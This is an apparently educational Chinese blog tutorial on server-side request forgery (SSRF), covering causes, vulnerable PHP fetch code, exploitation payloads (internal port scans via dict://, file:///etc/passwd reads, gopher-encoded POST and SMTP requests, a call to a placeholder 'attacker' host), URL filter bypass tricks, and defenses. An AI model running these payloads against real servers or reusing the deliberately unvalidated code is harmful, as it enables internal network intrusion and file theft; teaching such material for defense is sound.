4-16 SSRF漏洞

4-16 SSRF漏洞

 

1. 漏洞原理

 

1. 背景:

互联网上很多web应用提供了能向其他服务器(也可以是当前服务器本地)请求获取数据的功能。一般来说,web应用会通过用户指定的URL,去向其他服务器发起请求获取获取图片、文件资源(下载或读取)等。

如:百度识图功能,就是一种典型的服务器向其他服务器请求获取数据的功能。

2. 漏洞简介:

SSRF(Server-Side Request Forgery,服务器端请求伪造),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且对客户提供的URL和远端服务器返回的信息没有进行合适的限制、验证或过滤。注意,请求的目标也不一定非得是其他远端服务器,可以利用服务器向该服务器自身发起请求。

注意:除了http/https等方式可以造成ssrf,类似tcp connect方式也可以探测内网一些ip的端口是否开发服务,只不过危害比较小。

一般情况下,SSRF攻击的目标更多是从外网无法访问的内部系统(正因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统),当然也有通过SSRF攻击外网其他服务器的情况。总之,SSRF的危害主要有:

  • 读取/下载文件

  • 端口扫描

  • 内网主机指纹识别

  • 攻击内网主机

3. SSRF可能出现的地方:

只要能够对外发起网络请求的地方就可能存在SSRF漏洞,例如:

另外还需注意,一些远程文件包含功能除了可能存在文件包含漏洞,还可能存在SSRF漏洞。

  1. 社交分享功能:获取超链接的标题等内容进行显示

  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

  3. 在线翻译:给网址翻译对应网页的内容

  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

  9. 邮件系统:比如接收邮件服务器地址

  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

    一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……

  12. 从远程服务器请求资源(upload from url 如discuz! ;import&expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

4. 漏洞验证:

  1. 排除法:浏览器f12查看源代码看是否是在本地进行了请求

    比如:该资源地址类型为 http://www.xxx.com/a.php?image=(地址) 的就可能存在SSRF漏洞

  2. dnslog等工具进行测试,看是否被访问

    可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。

  3. 抓包分析发送的请求是不是由服务器的发送的。如果不是我们客户端发出的请求,则有可能是服务器发送的,接着找存在HTTP服务的内网地址:

    • 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址

    • 通过二级域名暴力猜解工具模糊猜测内网地址

  4. 直接返回的Banner、title、content等信息

  5. 留意bool型SSRF

 

 

2. 漏洞代码

 

1. curl造成的SSRF:

function curl($url){  
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_HEADER, 0);
   curl_exec($ch);
   curl_close($ch);
}

$url = $_GET['url'];
curl($url);  

2. file_get_contents造成的SSRF:

$url = $_GET['url'];;
echo file_get_contents($url);

3. fsockopen造成的SSRF:

function GetFile($host,$port,$link) 
{
   $fp = fsockopen($host, intval($port), $errno, $errstr, 30);
   if (!$fp)
  {
       echo "$errstr (error number $errno) \n";
  }
   else
  {
       $out = "GET $link HTTP/1.1\r\n";
       $out .= "Host: $host\r\n";
       $out .= "Connection: Close\r\n\r\n";
       $out .= "\r\n";
       fwrite($fp, $out);
       $contents='';
       while (!feof($fp))
      {
           $contents.= fgets($fp, 1024);
      }
       fclose($fp);
       return $contents;
  }
}

4. 实例(以curl造成的SSRF为例):

以下是一个服务端的源代码,一段简单的服务端实现向其他服务器请求资源功能的代码,存在SSRF漏洞:

在服务端实现通过URL从其他服务器(外部、内部或自身)获取资源功能的方法有很多,本实例使用PHP+curl扩展来实现该功能。可通过phpinfo()来查看服务器端PHP对curl的扩展支持,现在的大多数wamp套件均支持curl扩展。

//index.php
<?php
if(isset($_REQUEST['url'])){
   $link = $_REQUEST['url'];
   $filename = './curled/'.time().'.txt';
   $curlobj = curl_init($link);
   $fp = fopen($filename,'w');
   curl_setopt($curlobj, CURLOPT_FILE, $fp);
   curl_setopt($curlobj, CURLOPT_HEADER, 0);
   curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
   curl_exec($curlobj);
   curl_close($curlobj);
   fclose($fp);
   $fp = fopen($filename,"r");
   $result = fread($fp, filesize($filename));
   fclose($fp);
   echo $result;
}else{
   echo "?url=[url]";
}
?>
   
// 提交[?url=http://www.baidu.com],我们的服务器就会请求百度的服务器,并载入百度首页的资源
// 同时,服务器获取到的资源文件会保存在[./curled]中,并以发起请求时间的unix时间戳来命名文件。

 

 

3. 漏洞利用

 

3.1 读取/下载文件

我们可以通过SSRF漏洞来利用服务器去发起请求向其他服务器(外部、内部或自身)读取或下载文件。

POC:

www.test.com/test.php?url=http://www.baidu.com/robots.txt
www.test.com/test.php?url=http://www.test.com/hello.jpg

//示例使用http协议,还可以选择gopher协议或file协议

 

3.2 端口扫描

我们可以通过SSRF漏洞来利用服务器向其他服务器(外部、内部或自身)发送端口探测包。通过这种方式,可以将服务器作为一个跳板,除了可以隐蔽自身,还可以去探测对方内网端口状态。

  • 当探测的端口未开放时,返回的是空白或报错信息

  • 当探测的端口开放时,返回的是banner信息(有的banner是会和报错混在一起的,所以报错并不一定全是端口未开放)

(类似于telnet去探测端口时返回的结果)

POC:

www.test.com/test.php?url=dict://127.0.0.1:22           //探测服务器自身的端口
www.test.com/test.php?url=dict://192.168.10.2:3306     //探测服务器所在内网主机的端口
www.test.com/test.php?url=dict://210.31.4.28:21         //探测外网上其他主机的开放端口

//示例使用http协议,还可以选择gopher协议或file协议

 

3.3 内网主机指纹识别

识别内网主机上运行的服务、主机上架设的web应用所使用的框架、平台、模块以及cms等。这可以为后续的内网渗透提供很多帮助。大多数web应用都有自己独特的文件和目录等特点,称为指纹,我们可以通过这些文件识别出应用的类型,甚至详细的版本,再针对性的搜集该web应用对应的漏洞进行攻击。

POC:

例如:www.test.com/test.php?url=http://localhost/phpmyadmin/README    //判断对方phpmyadmin是否安装及其详细版本

//示例使用http协议,还可以选择gopher协议或file协议

 

3.4 攻击内网主机

内网的安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf攻击,可以实现对内网的访问,从而可以攻击内网主机。

 

 

4. SSRF所使用的协议

 

各个编程语言可以使用的协议如下图所示:

4.1 gopher://协议

gopher协议在SSRF漏洞利用中号称万金油协议。

gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样便可以解决漏洞点不在GET参数的问题了。

  • gopher协议格式:gopher://host:port/<gopher-path>

例如:我们可以发送一个POST请求,且参数file的值为robots.txt,这里构造gopher请求的时候,回车换行符号要进行2次url编码为%250d%250a,也就是说gopher协议一般会经过两次URL编码。

http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1%0d%0aHost: 192.168.163.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250afile=robots.txt

//以上经两次URL解码后的明文:
http://192.168.163.150/test.php?url=gopher://192.168.163.1:80/_POST /evil.php HTTP/1.1
Host: 192.168.163.1
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

file=robots.txt

 

4.2 file:///协议

file协议还是和之前文章讲述的一样,可以访问本地文件系统,并读取文件内容,不再进行讲述。

例如:请求 http://192.168.163.150/test.php?url=file:///etc/passwd便可以获取敏感文件的信息。

 

4.3 dict://协议

对于SSRF漏洞来说,使用gopher无疑是最好的。但gopher协议需要服务端的扩展支持,且可能还受服务端的后端环境版本限制,所以当不能使用gopher协议时,dict协议也是一种选择。

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,若是搭建了Dict服务器如(Redis),则服务端和客户端都通过TCP端口2628通信。但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息,即通过dict协议去探测。

  • dict协议格式:dict://host:port/<命令>:<参数>

例如:请求http://192.168.163.150/test.php?url=dict://192.168.163.1:3306/info,就可以获取目标主机的3306端口是否开放,其上是否运行着mysq并显示其版本信息。

 

 

5. SSRF绕过技巧

 

5.1 攻击服务器本地

?url=http://127.0.0.1:22      //端口探测
?url=http://localhost:80/     //尝试检查目录遍历漏洞
?url=http://0.0.0.0:22        //端口探测
?url=http://[::]:22           //端口探测
?url=file:///127.0.0.1/c:/hello.jpg    //读取文件

 

5.2 利用URL格式里的@

URL格式里@符号前面可以提交用户名和密码而后面才是真正要访问的网站:[user:pwd@host:port]

有的网站后端会检查你提交的URL里有没有它规定的必须要有的域名,一般是通过检查URL里是否存在这样的字符串。故我们可以通过user:pwd@host:port格式来绕过,将它检查的字符串放前面,这样并不会影响我们真正要访问的地址,又能骗过检测。

?url=http://example.com@127.0.0.1
?url=http://www.baidu.com@www.test.com/   (与http://www.test.com/请求时是相同的)

 

5.3 xip.io来绕过

xip.io就是个dns解析服务,用于网站本地开发测试,但国内貌似不好使。

POC:http://xxx.192.168.0.1.xip.io/ == 192.168.0.1 (xxx 任意)

比如你需要测试一个web服务器,但是你还没申请域名,本地测试大多的办法是修改hosts文件,在hosts添加一个域名并映射到一个IP主机地址,现在有了xip.io就不用hosts了。

          10.0.0.1.xip.io   resolves to   10.0.0.1
      www.10.0.0.1.xip.io   resolves to   10.0.0.1
   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1

类似这样的格式都解析为 10.0.0.1
http://域名+地址+xip.io,将解析到对应地址。

 

5.4 利用目标网站的短地址

短地址就是把普通网址,转换成比较短的网址。比如:http://t.cn/RlB2PdD

这种,在微博这些限制字数的应用里。好处不言而喻。短、字符少、美观、便于发布、传播。

http://dwz.cn/11SMa  >>>  http://127.0.0.1

原理:

当我们在浏览器里输入 http://t.cn/RlB2PdD时:

  1. DNS首先解析获得 http://t.cnIP 地址

  2. DNS 获得 IP 地址以后(比如:74.125.225.72),会向这个地址发送 HTTP GET 请求,查询短码 RlB2PdD

  3. http://t.cn 服务器会通过短码 RlB2PdD 获取对应的长 URL

  4. 请求通过 HTTP 301 转到对应的长 URL https://m.helijia.com

小知识:为什么要用 301 跳转而不是 302 ?

301 是永久重定向,302 是临时重定向。短地址一经生成就不会变化,所以用 301 是符合 http 语义的。同时对服务器压力也会有一定减少。但是如果使用了 301,我们就无法统计到短地址被点击的次数了。而这个点击次数是一个非常有意思的大数据分析数据源。能够分析出的东西非常非常多。所以选择302虽然会增加服务器压力,但是可能会是一个更好的选择。

 

5.5 利用Enclosed alphanumerics

中文译作:包围起来的字母数字,是Unicode中的字符集。因为数学、物理及一些科技领域使用了很多特殊符号,所以Unicode码中也设有对应的码位,列出其码表,以方便使用。

?url=ⓦⓦⓦ.ⓑⓐⓘⓓⓤ.ⓒⓞⓜ  >>>  ?url=www.baidu.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

 

5.6 利用中文句号

?url=127。0。0。1  >>>  ?url=127.0.0.1

 

5.7 利用IP地址的进制转换

先将IP转为二进制,再由二进制转为16进制或8进制。
http://182.61.200.7/  >>>  http://0xB63DC807/ (十六进制)
http://182.61.200.7/  >>>  http://026617344007/ (八进制)

0开始表示8进制,0x开始表示16进制,没有专门的二进制表示方法。
(注意:8进制表示时,前面可以加一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样)

 

5.8 利用各种对方服务器支持的协议

Dict://
	ssrf.php?url=dict://attacker:11111/
SFTP://
	ssrf.php?url=sftp://example.com:11111/
TFTP://
	ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
	ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
	ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

 

 

6. SSRF的防御

 

  • 限制协议:

    禁用不需要的协议,仅允许http和https请求。可以防止类似于file://,gopher://,ftp://等引起的问题

  • 限制IP:

    避免应用被用来获取内网数据、攻击内网

  • 限制端口:

    限制请求的端口为http常用端口,如:80、443、8080、8090等

  • 过滤返回信息:

    验证远程服务器对请求的响应是比较简单的方法。如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

  • 统一错误信息:

    免用户可以根据错误信息来判断远端服务器的端口状态。

posted @ 2020-10-18 16:59  小约翰呼噜噜  阅读(361)  评论(0编辑  收藏  举报